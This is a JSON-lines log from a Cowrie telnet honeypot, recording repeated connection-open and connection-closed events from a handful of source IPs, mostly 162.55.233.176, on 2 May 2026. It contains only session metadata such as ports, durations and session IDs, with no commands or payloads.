{"eventid":"cowrie.session.closed","duration":31.331538677215576,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:30.694569Z","src_ip":"162.55.233.176","session":"c6ba22cbab64","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57032,"dst_ip":"159.203.135.109","dst_port":23,"session":"820a6bd568f4","protocol":"telnet","message":"New connection: 162.55.233.176:57032 (159.203.135.109:23) [session: 820a6bd568f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:30.756255Z"}
{"eventid":"cowrie.session.closed","duration":5.308353424072266,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:30.795776Z","src_ip":"206.189.32.23","session":"7dc8e9fbe9a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.496853828430176,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:30.957508Z","src_ip":"162.55.233.176","session":"72ce538f4351","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.534193992614746,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:30.995574Z","src_ip":"162.55.233.176","session":"f53d89e37c91","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":51106,"dst_ip":"10.17.0.5","dst_port":23,"session":"70fb3c9c9fe0","protocol":"telnet","message":"New connection: 188.208.141.113:51106 (10.17.0.5:23) [session: 70fb3c9c9fe0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:31.129976Z"}
{"eventid":"cowrie.session.closed","duration":32.75452661514282,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:31.483258Z","src_ip":"162.55.233.176","session":"8471a4b97ac8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.36474061012268,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:31.621541Z","src_ip":"162.55.233.176","session":"c62f7ce6c14b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57046,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2e580d11259","protocol":"telnet","message":"New connection: 162.55.233.176:57046 (159.203.135.109:23) [session: b2e580d11259]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:31.916563Z"}
{"eventid":"cowrie.session.closed","duration":31.904139041900635,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:31.973883Z","src_ip":"162.55.233.176","session":"adfec3c0dc1e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57060,"dst_ip":"159.203.135.109","dst_port":23,"session":"22805c0a7430","protocol":"telnet","message":"New connection: 162.55.233.176:57060 (159.203.135.109:23) [session: 22805c0a7430]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:32.296622Z"}
{"eventid":"cowrie.session.closed","duration":31.440149545669556,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:32.525727Z","src_ip":"162.55.233.176","session":"41fb38a1cb69","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00136852264404,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:32.585025Z","src_ip":"138.255.230.135","session":"85ba47b092f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.14445090293884,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:32.650590Z","src_ip":"162.55.233.176","session":"31c4bd828cd0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":51114,"dst_ip":"10.17.0.5","dst_port":23,"session":"50358a898a3b","protocol":"telnet","message":"New connection: 188.208.141.113:51114 (10.17.0.5:23) [session: 50358a898a3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:32.657706Z"}
{"eventid":"cowrie.session.closed","duration":31.034939289093018,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:32.829450Z","src_ip":"162.55.233.176","session":"e887ad1027e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.02118158340454,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:32.836737Z","src_ip":"162.55.233.176","session":"bd5b88d41ad9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.496013402938843,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:32.873791Z","src_ip":"188.208.141.113","session":"45b7342380a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.911844968795776,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:33.207756Z","src_ip":"162.55.233.176","session":"55e459f80314","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":34352,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6b03146fedd","protocol":"telnet","message":"New connection: 162.55.233.176:34352 (159.203.135.109:23) [session: d6b03146fedd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:33.294506Z"}
{"eventid":"cowrie.session.closed","duration":31.31790518760681,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:33.315362Z","src_ip":"162.55.233.176","session":"f5c1e51ccf57","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.279276847839355,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:33.451031Z","src_ip":"162.55.233.176","session":"e02c0b2e3e03","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.177993297576904,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:33.461447Z","src_ip":"162.55.233.176","session":"342eb86923d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.883227109909058,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:33.776016Z","src_ip":"162.55.233.176","session":"88a03d99904e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":34364,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ee6b18d49b9","protocol":"telnet","message":"New connection: 162.55.233.176:34364 (159.203.135.109:23) [session: 0ee6b18d49b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:33.837062Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":35898,"dst_ip":"10.17.0.5","dst_port":23,"session":"be44c0413fff","protocol":"telnet","message":"New connection: 206.189.32.23:35898 (10.17.0.5:23) [session: be44c0413fff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:34.366443Z"}
{"eventid":"cowrie.session.closed","duration":31.07525396347046,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:34.585354Z","src_ip":"162.55.233.176","session":"edd932259edb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":34372,"dst_ip":"159.203.135.109","dst_port":23,"session":"612671fd8c59","protocol":"telnet","message":"New connection: 162.55.233.176:34372 (159.203.135.109:23) [session: 612671fd8c59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:34.869856Z"}
{"eventid":"cowrie.session.closed","duration":31.306994438171387,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:34.965898Z","src_ip":"162.55.233.176","session":"1e08b928d372","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":34388,"dst_ip":"159.203.135.109","dst_port":23,"session":"d557339e5fb8","protocol":"telnet","message":"New connection: 162.55.233.176:34388 (159.203.135.109:23) [session: d557339e5fb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:35.126933Z"}
{"eventid":"cowrie.session.closed","duration":36.455257177352905,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:35.410649Z","src_ip":"162.55.233.176","session":"17d8f92c1784","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00162625312805,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:35.522923Z","src_ip":"138.255.230.135","session":"782a9b87c682","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":34394,"dst_ip":"159.203.135.109","dst_port":23,"session":"cac65e94c4f7","protocol":"telnet","message":"New connection: 162.55.233.176:34394 (159.203.135.109:23) [session: cac65e94c4f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:35.536515Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":34412,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b7b573b2df1","protocol":"telnet","message":"New connection: 162.55.233.176:34412 (159.203.135.109:23) [session: 9b7b573b2df1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:36.667211Z"}
{"eventid":"cowrie.session.closed","duration":30.947210550308228,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:36.753291Z","src_ip":"162.55.233.176","session":"9977f663f09d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":34400,"dst_ip":"159.203.135.109","dst_port":23,"session":"c998474bb249","protocol":"telnet","message":"New connection: 162.55.233.176:34400 (159.203.135.109:23) [session: c998474bb249]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:36.855320Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":34430,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f2f1076e2dc","protocol":"telnet","message":"New connection: 162.55.233.176:34430 (159.203.135.109:23) [session: 6f2f1076e2dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:37.038881Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":34446,"dst_ip":"159.203.135.109","dst_port":23,"session":"90165e6304cc","protocol":"telnet","message":"New connection: 162.55.233.176:34446 (159.203.135.109:23) [session: 90165e6304cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:37.054223Z"}
{"eventid":"cowrie.session.closed","duration":30.43095302581787,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:37.097428Z","src_ip":"162.55.233.176","session":"008fdc3b8b14","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.36624813079834,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:37.298570Z","src_ip":"162.55.233.176","session":"63f4591fbc88","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":34458,"dst_ip":"159.203.135.109","dst_port":23,"session":"18ec0527d733","protocol":"telnet","message":"New connection: 162.55.233.176:34458 (159.203.135.109:23) [session: 18ec0527d733]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:37.315610Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.255.230.135","src_port":41973,"dst_ip":"159.203.135.109","dst_port":23,"session":"128bfb8622e8","protocol":"telnet","message":"New connection: 138.255.230.135:41973 (159.203.135.109:23) [session: 128bfb8622e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:37.565451Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":34466,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d7fbc966fbb","protocol":"telnet","message":"New connection: 162.55.233.176:34466 (159.203.135.109:23) [session: 2d7fbc966fbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:37.574880Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":34476,"dst_ip":"159.203.135.109","dst_port":23,"session":"aea31950b9f7","protocol":"telnet","message":"New connection: 162.55.233.176:34476 (159.203.135.109:23) [session: aea31950b9f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:37.840027Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":34482,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd3c84a35741","protocol":"telnet","message":"New connection: 162.55.233.176:34482 (159.203.135.109:23) [session: bd3c84a35741]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:38.148196Z"}
{"eventid":"cowrie.session.closed","duration":41.56499671936035,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:38.740629Z","src_ip":"162.55.233.176","session":"290fbac21c4a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.77677083015442,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:38.842719Z","src_ip":"206.189.32.23","session":"ffb7b0c27128","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":34486,"dst_ip":"159.203.135.109","dst_port":23,"session":"e4ccb7872aa6","protocol":"telnet","message":"New connection: 162.55.233.176:34486 (159.203.135.109:23) [session: e4ccb7872aa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:38.878213Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":34488,"dst_ip":"159.203.135.109","dst_port":23,"session":"d24b7198aae0","protocol":"telnet","message":"New connection: 162.55.233.176:34488 (159.203.135.109:23) [session: d24b7198aae0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:39.000541Z"}
{"eventid":"cowrie.session.closed","duration":6.571933746337891,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:39.229579Z","src_ip":"188.208.141.113","session":"50358a898a3b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":34494,"dst_ip":"159.203.135.109","dst_port":23,"session":"a2a6205d602e","protocol":"telnet","message":"New connection: 162.55.233.176:34494 (159.203.135.109:23) [session: a2a6205d602e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:39.263963Z"}
{"eventid":"cowrie.session.closed","duration":5.27860426902771,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:39.644945Z","src_ip":"206.189.32.23","session":"be44c0413fff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":34508,"dst_ip":"159.203.135.109","dst_port":23,"session":"99c26791e7dc","protocol":"telnet","message":"New connection: 162.55.233.176:34508 (159.203.135.109:23) [session: 99c26791e7dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:39.684710Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":34510,"dst_ip":"159.203.135.109","dst_port":23,"session":"f532d44fb855","protocol":"telnet","message":"New connection: 162.55.233.176:34510 (159.203.135.109:23) [session: f532d44fb855]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:39.807218Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":34524,"dst_ip":"159.203.135.109","dst_port":23,"session":"0739fe3a1a61","protocol":"telnet","message":"New connection: 162.55.233.176:34524 (159.203.135.109:23) [session: 0739fe3a1a61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:39.928042Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":34536,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4c2235e4a57","protocol":"telnet","message":"New connection: 162.55.233.176:34536 (159.203.135.109:23) [session: d4c2235e4a57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:39.939660Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":34538,"dst_ip":"159.203.135.109","dst_port":23,"session":"fae14fbd2f66","protocol":"telnet","message":"New connection: 162.55.233.176:34538 (159.203.135.109:23) [session: fae14fbd2f66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:40.034838Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":34548,"dst_ip":"159.203.135.109","dst_port":23,"session":"f521f0414720","protocol":"telnet","message":"New connection: 162.55.233.176:34548 (159.203.135.109:23) [session: f521f0414720]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:40.992353Z"}
{"eventid":"cowrie.session.closed","duration":30.421324491500854,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:41.228849Z","src_ip":"162.55.233.176","session":"639fb744559b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":34564,"dst_ip":"159.203.135.109","dst_port":23,"session":"a63331bd78ed","protocol":"telnet","message":"New connection: 162.55.233.176:34564 (159.203.135.109:23) [session: a63331bd78ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:41.387662Z"}
{"eventid":"cowrie.session.closed","duration":30.828871488571167,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:41.581538Z","src_ip":"162.55.233.176","session":"2ec6e9cc0333","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.92438793182373,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:42.422396Z","src_ip":"162.55.233.176","session":"1594ae28fa72","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":34570,"dst_ip":"159.203.135.109","dst_port":23,"session":"7cdb8a02ff9f","protocol":"telnet","message":"New connection: 162.55.233.176:34570 (159.203.135.109:23) [session: 7cdb8a02ff9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:42.711370Z"}
{"eventid":"cowrie.session.closed","duration":32.98365759849548,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:42.834795Z","src_ip":"162.55.233.176","session":"9f44051c0888","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.17419123649597,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:42.889752Z","src_ip":"162.55.233.176","session":"068463ecc84a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57712,"dst_ip":"159.203.135.109","dst_port":23,"session":"9827eda3ab3e","protocol":"telnet","message":"New connection: 162.55.233.176:57712 (159.203.135.109:23) [session: 9827eda3ab3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:43.002439Z"}
{"eventid":"cowrie.session.closed","duration":34.7398636341095,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:43.042929Z","src_ip":"162.55.233.176","session":"8d9ea32ea029","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.05168080329895,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:43.162669Z","src_ip":"162.55.233.176","session":"2ac6972de50b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57726,"dst_ip":"159.203.135.109","dst_port":23,"session":"79e7b2a38f4e","protocol":"telnet","message":"New connection: 162.55.233.176:57726 (159.203.135.109:23) [session: 79e7b2a38f4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:43.324928Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":45494,"dst_ip":"10.17.0.5","dst_port":23,"session":"6854d3aa9e13","protocol":"telnet","message":"New connection: 206.189.32.23:45494 (10.17.0.5:23) [session: 6854d3aa9e13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:43.334937Z"}
{"eventid":"cowrie.session.closed","duration":50.54408574104309,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:43.342660Z","src_ip":"206.189.32.23","session":"fc59ea218988","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57738,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6b36527e0df","protocol":"telnet","message":"New connection: 162.55.233.176:57738 (159.203.135.109:23) [session: e6b36527e0df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:44.416496Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57752,"dst_ip":"159.203.135.109","dst_port":23,"session":"bec4b1cefad1","protocol":"telnet","message":"New connection: 162.55.233.176:57752 (159.203.135.109:23) [session: bec4b1cefad1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:44.606415Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57762,"dst_ip":"159.203.135.109","dst_port":23,"session":"223ebd1c23d1","protocol":"telnet","message":"New connection: 162.55.233.176:57762 (159.203.135.109:23) [session: 223ebd1c23d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:44.704866Z"}
{"eventid":"cowrie.session.closed","duration":31.45819592475891,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:44.767613Z","src_ip":"162.55.233.176","session":"54a4d9a54e62","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.051989555358887,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:44.983421Z","src_ip":"162.55.233.176","session":"7e8d8f59732b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.17907452583313,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:45.083549Z","src_ip":"162.55.233.176","session":"90d0ce648d7e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.143810749053955,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:45.744058Z","src_ip":"162.55.233.176","session":"8ffd5feab31f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57774,"dst_ip":"159.203.135.109","dst_port":23,"session":"582650ffb0e9","protocol":"telnet","message":"New connection: 162.55.233.176:57774 (159.203.135.109:23) [session: 582650ffb0e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:45.749262Z"}
{"eventid":"cowrie.session.closed","duration":30.89883589744568,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:45.752406Z","src_ip":"162.55.233.176","session":"08328c99ebf8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.860779285430908,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:45.777049Z","src_ip":"162.55.233.176","session":"8c24ab0b3b5d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.1303277015686,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:45.966424Z","src_ip":"162.55.233.176","session":"030fa56757af","protocol":"telnet"}
